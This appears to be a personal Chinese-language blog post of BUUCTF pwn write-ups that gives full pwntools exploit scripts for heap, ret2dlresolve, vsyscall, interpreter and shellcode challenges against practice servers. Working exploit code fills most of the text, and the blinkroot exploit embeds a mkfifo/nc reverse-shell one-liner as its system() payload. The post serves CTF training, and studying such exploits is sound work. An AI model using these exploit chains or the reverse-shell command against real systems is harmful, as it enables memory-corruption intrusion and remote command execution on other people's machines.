azraelxuemo's Studio.

BUUCTF pwn刷题记录

2023/11/12

爆破

爆破算法

iscc2018_final_pwn1

最开始这个题目我也没太弄懂具体算法,那么我们就爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ch="qagvCYiheXulrpszNLwMtodbVx"
ta="rqzzepiwMLepiwYsLYtpqpvzLsYeM"
tar=""
import itertools
for i in ta:
tar+=chr(ch.index(i)+97)
for i in itertools.product("0123",repeat=7):
io.close()
io = process(parm)

sla(b"Give me a number!\n",b"8584")
sla(b"Give me an array of numbers!\n",b"[1, 1, 3, 5, 11, 21]")


sla(b"phase 3... right?\n",tar)
sla(b"time for phase 4.\n"," ".join(i))
if b"Congratulations, you won! Here's the flag:" in rl():
print(" ".join(i))
exit(0)
1
2
3
4
5
6
7
8
9
10
11
ch="qagvCYiheXulrpszNLwMtodbVx"
ta="rqzzepiwMLepiwYsLYtpqpvzLsYeM"
tar=""

sla(b"Give me a number!\n",b"8584")
sla(b"Give me an array of numbers!\n",b"[1, 1, 3, 5, 11, 21]")


sla(b"phase 3... right?\n",tar)
sla(b"time for phase 4.\n",b"0 0 0 1 1 2 1")
it()

伪随机

随机数预测

bitsctf_2017_random_game

https://buuoj.cn/challenges#bitsctf_2017_random_game
time(0)其实是按照当前事件,所以我们可以完全在本地也同时运行进行预测
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./bitsctf_2017_random_game"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x4526A, 0x45216, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []


if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port =27808
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)


from math import floor
from ctypes import CDLL

libc = CDLL('./libc-2.23.so')
now = int(floor(time.time()))
libc.srand(now)
for i in range(0,40):
v8 = libc.rand() & 0xF
io.sendline(str(v8))
it()

这里多一点,避免有不一样的,然后运行就可以了,所以下次遇到随机数其实是可以预测的

虚拟机

seccon2018_kindvm

一个比较简单的虚拟机,修改指针为flag,然后会读出内容,这里不需要leak,因为堆上有堆地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def inn(pianyi,value):
return b"\x07"+p8(pianyi)+p32(value)[::-1]
def store(mem_pianyi,reg_pianyi):
return b"\x02"+p16(mem_pianyi)[::-1]+p8(reg_pianyi)
def load(reg_pianyi,mem_pianyi):

return b"\x01"+p8(reg_pianyi)+p16(mem_pianyi)[::-1]

def add(char_pianyi,pianyi):
return b"\x04"+p8(char_pianyi)+p8(pianyi)
#banner.txt 0x24
#leak 0x28

sla(b"ur name : ",b"a")
payload=load(0,(1<<16)-0x28)+inn(1,0x20)+add(1,0)+store((1<<16)-0x24,1)+b"\x07\x00galf"+store(0x10,0)+inn(0,0)+store(0x14,0)+b"\x06"
sa(b"Input instruction : ",payload)
it()

wdb_2018_2nd_hvm

https://buuoj.cn/challenges#wdb_2018_2nd_hvm
这种虚拟机题目首先还是要看syscall,因为他会在syscall进行一些赋值
image.png
这里就可以确定具体bss的值对应哪些寄存器
一直用来读取指令的很明显就是我们的ip
image.png
rsp和rbp就继续分析就好
然后问题一般出现在虚拟机要执行的指令文件里面,需要先把要执行的指令逆向一下
这是题目提供的虚拟机程序对应的代码,可以看到有个栈溢出,我们直接覆盖写个syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
push "o\n"
push "hello"
mov rsi,rsp
mov rdi,0x1
mov rdx,0x6
mov rax,1
syscall
push rip
jmp short e*4
push rbp
mov rbp,rsp
sub rsp,0x30
mov rsi,rsp
mov rdi,0
mov rdx,0xf0
mov rax,0
syscall #read(0,rsp,0xf0)
mov rsp,rbp
pop rbp
ret tmp+3 #因为jmp之前push的rip另jmp后面指令的间距是3
1
2
3
4
5
6
7
8
9
10
11
12
13
#reverse 函数
#ABCDEFGH 变成 GHEFCDAB

# with open("/hvmbin","w") as f:
# f.write("\x01\0\0\0\x02\03\04\x05")#实际数字是0x5040302执行完为0x2030405
sa(b"hello\n",b"a"*0x34+p32(0xfbfbffff)+p32(0x1A)+p32(0)+p32(0x4)+p32(0)+p32(7)+b"/sh\0"+p32(7)+b"/bin"+p32(0xd)+p32(1)+p32(0x3b000000)+p32(0xe))
it()
#mov rdx,0
#mov rsi,0
#push /bin/sh
#mov rdi,rsp
#mov rax,59
#syscall

下面是ida分析过的文件
后缀改成i64
wdb_2018_2nd_hvm.txt

C/S架构题目

[GKCTF 2021]demo_catRoom

https://buuoj.cn/challenges#[GKCTF%202021]demo_catRoom
漏洞不复杂,堆溢出,修改用户名为admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./client"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x4526A, 0x45216, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []

b *$rebase(0xF56) malloc调试
b *$rebase(0x1205) flag测试
b *$rebase(0x148B) free
gdbscript = """
b *$rebase(0x1199)
c
"""
db=gdb.debug("./server",gdbscript=gdbscript)
sleep(1)

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port =25857
io = remote(remote_ip, remote_port)
else:
io = process([elf_path,"117.21.200.166","29119"])




def reg(name,password):
sla(b"exit \n",b"1")
#32
sla(b"input your name\n",name)
sla(b"nput your passwd\n",password)

def login(name,password):
sla(b"exit \n",b"2")
sla(b"input your name\n",name)
sla(b"nput your passwd\n",password)


def delete(name,password):
sla(b"exit \n",b"4")
sla(b"nput your remove name\n",name)
sla(b"nput your passwd\n",password)


reg(b"a",b"a")
reg(b"b",b"b")
delete(b"a",b"a")
reg(b"a"*32,b"b"*0x28+p64(0xffffffffffffffff)+b"admin\0")
login(b"admin",b"b")
it()

好题

利用初始化变量

hitb-2017 1000levels

最开始看到这个hint函数,里面需要这样可以打印system的地址
image.png
但是后来发现这个system地址会被放到栈上
image.png
刚好就是v4这个地址,所以我们v1输入负数,防止v4被破坏,然后read_num可以输入一个偏移,这里我利用的是one_gadget,因为虽然rdi指向的是栈,但发现利用vsyscall之后就会变,还是one_gadget稳定
image.png
然后就是传统的vsyscall的第一个time就可以

1
2
3
4
5
6
7
8
9
10
11
12
sla(b"Choice:\n",b"2")
sla(b"Choice:\n",b"1")
sla(b"How many levels?\n",b"-1")
sla(b"Any more?\n",b"-378")#one_gadget
for i in range(0x3e6):
ru(b"Question: ")
sla(b"Answer:",str(eval(rud(b"="))))
ru(b"Question: ")

sa(b"Answer:",b"a"*0x38+p64(0xffffffffff600000)*13)

it()

ret2dlresolve

HITCON 2015 -blinkroot

题目比较好,比较早开始打ret2dlresolve
主要要伪造 DT_SYMTABDT_JMPREL
利用任意地址写修改got+8为fake_link_map的地址
然后后面就是复杂的指针的构造
reloc->r_info=7
sym->st_other!=0就可以
但是调试起来确实好麻烦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#DT_SYMTAB 6
# DT_STRTAB 5 这个偏移只要是个地址就可以,别的无所谓
#DT_JMPREL 23


#0x5000
#link_map距离gbuf 0xf80
#p * (struct link_map *)0x7f463f196000
#debug_force()
fake_link_map_start_addr=0x600Bc0+0x100
payload=p64(-0x80+(1<<64))+p64(fake_link_map_start_addr)#任意地址写,修改got+8处的值为我们伪造的linkmap结构体
payload+=b"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f"
payload=payload.ljust(0x100,b"\x00")
system_libc_main=libc.sym["system"]-libc.sym["__libc_start_main"]
read_got=0x600B78
#fake reloc
payload+=p64(system_libc_main)+p64(read_got)+p64(0)+p64(fake_link_map_start_addr+8)+p64(read_got-system_libc_main)+p64(7)+p64(0)*2
l_info = p64(0)*5+p64(fake_link_map_start_addr)+p64(fake_link_map_start_addr)+p64(0)*(23-7)+p64(fake_link_map_start_addr+0x10)
payload+=l_info
payload=payload.ljust(0x400,b"\x00")
s(payload)
it()

BYPASS PIE

我们知道,在开启了ASLR的系统上运行PIE程序,就意味着所有的地址都是随机化的。然而在某些版本的系统中这个结论并不成立,原因是存在着一个神奇的vsyscall。(由于vsyscall在一部分发行版本中的内核已经被裁减掉了,新版的kali也属于其中之一。vsyscall在内核中实现,无法用docker模拟,因此任何与vsyscall相关的实验都改成在Ubuntu 16.04上进行,同时libc中的偏移需要进行修正)
image.png
image.png
可以看到始终有固定地址的,我们给他dump下来
值得注意的是,vsyscall的地址是固定不变的,即使开启了PIE也不会改变!

可以利用的vsyscall有三个,地址如下

gettimeofday: 0xffffffffff600000
time: 0xffffffffff600000
getcpu: 0xffffffffff600000
【vsyscall的局限】

分配的内存较小;

只允许4个系统调用;

Vsyscall页面在每个进程中是静态分配了相同的地址;

【vDSO】

提供和vsyscall相同的功能,同时解决了其局限。

vDSO是动态分配的,地址是随机的;

可以提供超过4个系统调用;

vDSO是glibc库提供的功能
地址是固定的:

基地址:0xffffffffff600000

#define VSYSCALL_ADDR_vgettimeofday 0xffffffffff600000

#define VSYSCALL_ADDR_vtime 0xffffffffff600400

#define VSYSCALL_ADDR_vgetcpu 0xffffffffff600800

1
dump memory ./dump 0xffffffffff600000 0xffffffffff601000

这个我dump不下来

unexplitable

1
2
3
s(b"a"*0x18+p64(0xffffffffff600000)+p64(0xffffffffff600000)+p64(0))
#利用这中固定地址的,一直滑倒有libc偏移的,然后one_gadgte一把梭哈
it()

漏洞不明显

inndy_notepad

https://buuoj.cn/challenges#inndy_notepad
这个题漏洞是真他妈不明显 欸,要小心函数指针这种越界
image.png
如果v3=<1,那么就不是找的堆本身保存的两个函数指针,我们可以利用堆的连续性,在前面布置上恶意的函数指针,如free_plt,或者puts_plt,来达到free的效果,然后再搞成one_gagdet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# from LibcSearcher import LibcSearcheronline
from pwn import *

# shell = ssh(host="node4.buuoj.cn", user="CTFMan", port=26682, password="guest")
# shell.process
it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./notepad"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc


if "2.23" in libc.path:
one_gadget = [0x3A80C, 0x3A80E, 0x3A812, 0x3A819, 0x5F065, 0x5F066]
elif "2.27" in libc.path:
one_gadget = [
0x3CBEA,
0x3CBEC,
0x3CBF0,
0x3CBF7,
0x6729F,
0x672A0,
0x13573E,
0x13573F,
]
else:
one_gadget = []


if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 27250
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)


def debug():
global io
gdbscript = """
b *0x8048CE8
c
x/10xw 0x804B080
"""
gdb.attach(io, gdbscript=gdbscript)



def add(size,content):
sla(b"::> ",b"a")
sla(b"size > ",str(size))
sla(b"data > ",content)

def free(index):
sla(b"::> ",b"c")
sla(b"id > ",str(index))


def show(index):
sla(b"::> ",b"b")
sla(b"id > ",str(index))
sla(b"edit (Y/n)",b"n")
sla(b"::> ",b"a")

def read_only(index):
sla(b"::> ",b"d")
sla(b"id > ",str(index))

def edit(index,content,juece):
sla(b"::> ",b"b")
sla(b"id > ",str(index))
sla(b"edit (Y/n)",b"Y")
sla(b"content > ",content)
sla(b"::> ",juece)

def edit_twice(index,juece):
sla(b"::> ",b"b")
sla(b"id > ",str(index))
sla(b"::> ",juece)
def convert_str_asmencode(content: str):
out = ""
for i in content:
out = hex(ord(i))[2:] + out
out = "0x" + out
return out
sla(b"::> ",b"c")

add(0x14,p32(elf.plt["free"]))#0
add(0x224,b"a")#1
add(0x14,b"a")#2

edit(1,b"a",chr(ord(b"a")-6))
edit(0,p32(elf.plt["puts"]),b"a")

edit_twice(1,chr(ord(b"a")-6))
libc_base=u32(ru(b"\xf7"))+0xf7d49000-0xf7ef97b0
add(0x14,b"a")#3
add(0x14,b"a")#4
edit(3,p64(libc_base+one_gadget[0]),b"a")

edit(4,b"a",chr(ord(b"a")-6))

#edit(0,b"a"*0x14)
it()

ciscn_2019_en_5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./ciscn_2019_en_5"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x4526A, 0x45216, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []


if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port =27372
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)



def debug():
gdbscript = """
b *$rebase(0xe5c)
c
x/10xg $rebase(0x202060)
x/10xg $rebase(0x202100)
x/xg $rebase(0x2021A0)
"""
gdb.attach(io, gdbscript=gdbscript)




#7-512
def add(size,content):
sla(b"choice> ", b"1")
sla(b"length> ",str(size))
sa(b"content> ",content)

#清零了
def free(index):
sla(b"choice> ", b"3")
sla(b"index> ",str(index))

def show(index):
sla(b"choice> ", b"2")
sla(b"index> ",str(index))

# def edit(index,content):
# sla(b"Your choice: ", b"4")
# sla(b"book to write?",str(index))
# sa(b"Content: ",content)



# def convert_str_asmencode(content: str):
# out = ""
# for i in content:
# out = hex(ord(i))[2:] + out
# out = "0x" + out
# return out


sla(b"name> ",b"a"*24)
for i in range(10):
add(0x98,b"a\n")
for i in range(7):
free(3+i)
for i in range(2):
free(i)

add(0x10,b"a\n")#0
add(0x78,b"a\n")#1
add(0x58,b"a\n")#3

#这里如果一次拿完,就会导致prev_inuse为不为1,后续free会报错,这个块先会被放到tcache,这里会把下一块prev_inuse设为1,但从tcache里面拿不会修改这个块的prev_inuse位
#但是如果大小不是完全一样,这里由于是last_remainder,所以会进行切割,这里会set_header,prev_inuse,因为glibc认为如果last_remainder的前面一块是free的,那么一定会合并,如果没有合并说明前面一定是inuse

for i in range(7):
add(0x78,b"a\n")
for i in range(7):
free(4+i)

free(1)
free(2)

add(0x28,b"a\n")#如果add78就会分配到tcache里面去
add(0x38,b"a\n")
show(3)
libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))+0x7f0bd60d2000-0x7f0bd64bdca0
for i in range(20-4):
add(0x48,b"a\n")

add(0x48,b"/bin/sh||".ljust(0x20,b"a")+p64(libc_base+libc.sym["__free_hook"]))
sla(b"choice> ", b"4")
sla(b"remarks> ",p64(libc_base+libc.sym["system"]))
it()

堆分配地址受限

qwb2019_one

BUUCTF在线评测 (buuoj.cn)

这个题目是个好题,首先是strchr,如果是\x00,则会匹配到最后一个字节,然后替换造成越界

最开始我可以直接堆块重叠 double free但是由于会check分配的地址是不是在堆上,所以失败

这个题目可以泄露bss地址,那么就unlink,unlink可以让我们控制指针数组,达到任意地址写,并且不需要利用malloc

思路很好的题目,但是exp不太好看,因为要利用越界写fake chunk之类的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./one"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port =26480
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b *$rebase(0x111B)
c
x/xg $rebase(0x203060)
"""
gdb.attach(io, gdbscript=gdbscript)
sleep(1)

def add(content):
sla(b"command>> \n", b"1")
sa(b"Now, you can input your test string:\n",content)

#清零了
def free(index):
sla(b"command>> \n", b"4")
sla(b"Please give me the index of the string:\n",str(index))

def show(index):
sla(b"command>> \n", b"3")
sla(b"Please give me the index of the string:\n",str(index))

def edit(index,charr,content):
sla(b"command>> \n", b"2")
sla(b"Please give me the index of the string:\n",str(index))
sa(b"Which char do you want to edit:\n",charr)
sla(b"What do you want to edit it into:\n",content)


#泄露elf load addr
sla(b"command>> \n", str(0x3124))
sla(b"Do you want to use one?(Y/N)\n",b"Y")
sla(b"Here are 5 strings to be tested. Which one do you want to test?\n",str(0x80000000))
ru(b"The string:\n")
target_addr=u64(rld().ljust(8,b"\0"))
if target_addr<0x4030c0:
exit(0)

add(b"a"*0x20)
for i in range(0x11):
add(b"/bin/sh\n")

for i in range(0x18):
edit(0,b"\x00",b"a")

edit(0,b"\x00",b"\x04")
edit(0,b"\x41\x00",b"\x40")
for i in range(0,0x38):
edit(0,b"a\x00",chr(ord('a')+i+1))
fake_chunk=p64(0)+p64(0x31)+p64(target_addr-0x18)+p64(target_addr-0x10)+p64(0)*2+p64(0x30)
for i in range(0x37,-1,-1):
edit(0,chr(ord('a')+i+1)+"\x00",p8(fake_chunk[i]))
free(1)#unlink
ptr=p64(target_addr-0x18)
target=p64(target_addr+0x8)
for i in range(0x18):
edit(0,b"\x00",b"\x01")
for i in range(1):
edit(0,p8(ptr[i])+b"\x00",p8(target[i]))
load_addr=target_addr-0x2030c0
puts_got=p64(elf.got["puts"]+load_addr)
for i in range(8):
edit(0,b"\x00",p8(puts_got[i]))
show(1)
ru(b"The string is:\n")
libc_base=u64(rld().ljust(8,b"\0"))-libc.sym["puts"]
free_hook=p64(libc_base+libc.sym["__free_hook"])
for i in range(8):
edit(0,p8(puts_got[i])+b"\x00",p8(free_hook[i]))
system_addr=p64(libc_base+libc.sym["system"])
for i in range(8):
edit(1,b"\x00",p8(system_addr[i]))
free(2)

it()

奇奇怪怪的题目

综合bypass

ciscn_2019_final_10

BUUCTF在线评测 (buuoj.cn)

负数绕过

image.png

转化为char是0

image.png

然后double free修改内容

\0\0绕过判断

image.png

这里执行完之后修改了第一个指令,但是不影响,已经执行完了,这里rax就是shellcode起始地址

image.png

1
2
3
4
5
6
7
8
9
10
11
sa(b"> ",b"a")
sla(b"> ",str(0x80000000-(1<<32)))
add(0x30,b"a")
free()
free()
add(0x30,b"\x90")
add(0x30,b"0")
add(0x30,b"The cake is a lie!\0")
sla(b"> ", b"3")
sa(b"> ",b"\x00\x00"+asm(shellcraft.sh()))
it()

异常

itcon_2018_hackergame_2018_calc

BUUCTF在线评测 (buuoj.cn)

一个比较好玩的题目

异常处理函数这里是个后门,所以我们要触发异常

image.png

过滤了除0异常,但还有一种异常

2147483648/4294967295也就是-0x8000000/-1也可以引发异常

触发异常之后绕过sh

我们可以调用vim然后:!sh返回shell

1
2
3
4
sla(b">>> ", b"2147483648/4294967295")
sla(b"examine:\n", b"vim")
sla(b"terminal\n", b":!sh")
it()

ulimit

pwnable_otp

BUUCTF在线评测 (buuoj.cn)

比较新奇的题目

创建了一个文件,从文件里面读取passwd

image.png

我们可以先执行ulimit -f 0限制创建文件大小,这样size就是0,从里面读入的就是空

然后执行

image.png

解释器

wdb_2018_final_pwn1

https://buuoj.cn/challenges#wdb_2018_final_pwn1
解释器,可以覆盖got,exit改为one_gatgeht

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./wdb_2018_final_pwn1"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x4526A, 0x45216, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []

#b *$rebase(0xF56) malloc调试
# b *$rebase(0x1205) flag测试
# b *$rebase(0x148B) free
# gdbscript = """
# b *$rebase(0x1199)
# c
# """
# db=gdb.debug("./server",gdbscript=gdbscript)
# sleep(1)

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port =26113
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)


def debug():
global io
gdbscript = """
b *0x400B30
c
"""
gdb.attach(io, gdbscript=gdbscript)


# def debug_force():
# global io
# io.close()
# gdbscript = """
# b *$rebase(0x145F)
# c
# """
# io=gdb.debug(elf_path,gdbscript=gdbscript)


#1 0x10
#2 0x38
#3 0x60
#没问题
def add(size,data):
sla(b"Exit\n", b"2")
sla(b"3. Large\n",str(size))
sla(b"Enter your item`s name: \n",data)


def free(index):
sla(b"Exit\n", b"4")
sla(b" like to remove?\n",str(index))

#可以加0x14
def add_to_list(size,num):
sla(b"Exit\n", b"3")
sla(b"3. Large\n",str(size))
sla(b"would you like to add?\n",str(num))


def show():
sla(b"Exit\n", b"1")


def edit(index,content):
sla(b"Exit\n", b"5")
sla(b"you like to edit?\n",str(index))
sla(b"item`s new name: \n",content)



# def convert_str_asmencode(content: str):
# out = ""
# for i in content:
# out = hex(ord(i))[2:] + out
# out = "0x" + out
# return out


#debug()
payload=b"<"*32+b"."+b">."*5+b"<"*(5+64)+b","+b">,"*5+b"\x00"
sla(b"Put the code: ",payload)
libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))-libc.sym["_IO_2_1_stderr_"]
one_gadget_addr=libc_base+one_gadget[1]
while one_gadget_addr:
s(p8(one_gadget_addr&0xff))
sleep(0.1)
one_gadget_addr=one_gadget_addr>>8

it()

pwnable_bf

BUUCTF在线评测 (buuoj.cn)

解析指令做一些操作,不过这里可以覆盖到got表,所以可以劫持控制流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
payload = (
b"<" * 120
+ b".>.>.>."
+ b">" * 5
+ b",>,>,>,"
+ b"<" * 7
+ b",>,>,>,"
+ b"<" * (3 + 7 * 4)
+ b",>,>,>,"
+ b"."
)
sla(b"except [ ]\n", payload)
addr = 0
for i in range(4):
addr += u8(r(1)) << i * 8
libc_base = addr - libc.sym["setvbuf"]
for i in p32(elf.sym["main"]):
s(p8(i))
for i in p32(libc.sym["gets"] + libc_base):
s(p8(i))
for i in p32(libc.sym["system"] + libc_base):
s(p8(i))
sl(b"/bin/sh\0")
it()

exit

elf_set___libc_atexit_elementIO_cleanup

newest_note

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./newest_note"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

# if "2.23" in libc.path:
# one_gadget = [0x4526A, 0x45216, 0xF02A4, 0xF1147]
# elif "2.27" in libc.path:
# one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
# else:
# one_gadget = []

if len(sys.argv) > 1:
remote_ip = "123.56.111.202"
remote_port =12885
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b *$rebase(0x14A4)
b *$rebase(0x14D2)
b *$rebase(0x169B)
b *$rebase(0x13A5)
c
x/xg $rebase(0x4190)
"""
gdb.attach(io, gdbscript=gdbscript)
sleep(1)

def add(index,content):
sla(b": ", b"1")
sla(b"Index: ",str(index))
sa(b"Content: ",content)

def free(index):
sla(b": ", b"2")
sla(b"Index: ",str(index))

def show(index):
sla(b": ", b"3")
sla(b"Index: ",str(index))

# def edit(index,content):
# sla(b"enter your command: \n", b"3")
# sla(b"Index: \n",str(index))
# sa(b"message: \n",content)


# def convert_str_asmencode(content: str):
# out = ""
# for i in content:
# out = hex(ord(i))[2:] + out
# out = "0x" + out
# return out

#最高位不能是1,不然就变成负数了
sla(b"notebook will be? :",str(0x60004200))
show((0x7f119629acf0-0x7f119605d010)//8)
ru(b"Content: ")
libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))-0x7ff36b130cd0+0x7ff36af18000

for i in range(0,9):
add(i,b"a")
for i in range(7):
free(i)
if i==0:
show(0)
ru(b"Content: ")
cookie=u64(rld().ljust(8,b"\0"))
first_heap_addr=(cookie<<12)+0x290
free(7)
free(8)
free(7)
for i in range(7):
add(i,b"a")

#__elf_set___libc_atexit_element__IO_cleanup__=libc_base+0x21a6c8
__libc_atexit=libc_base+libc.get_section_by_name("__libc_atexit").header["sh_addr"]
add(7,p64((__libc_atexit-0x8)^cookie))
add(8,b"a")
add(9,b"a")

one_gadget=0xeeccc+libc_base
add(10,p64(0)+p64(one_gadget))
#debug()
sla(b": ", b"4")
it()

这个题目首先有两点

free次数有限

在libc-2.34中,一次doublefree至少需要free 10次,因为tcache会check每一个chunk是否一样,同时free到fastbin的时候也会先去tache里面check是否重复,所以7次填满tcache,fastbin double free

但题目只有10次,所以相当于这次double free是用来写backdoor

但是没有libc泄露

所以libc泄露就要去整数溢出

0x60004200

0x60004200*8=0x300021000 ,0x21000保证我们会用 mmap,因为当前top chunk大小为0x20df0左右

这个时候利用main_arena里面的指针show就可以了

由于2.34没有free_hook之类的,所以放到exit_hook里面

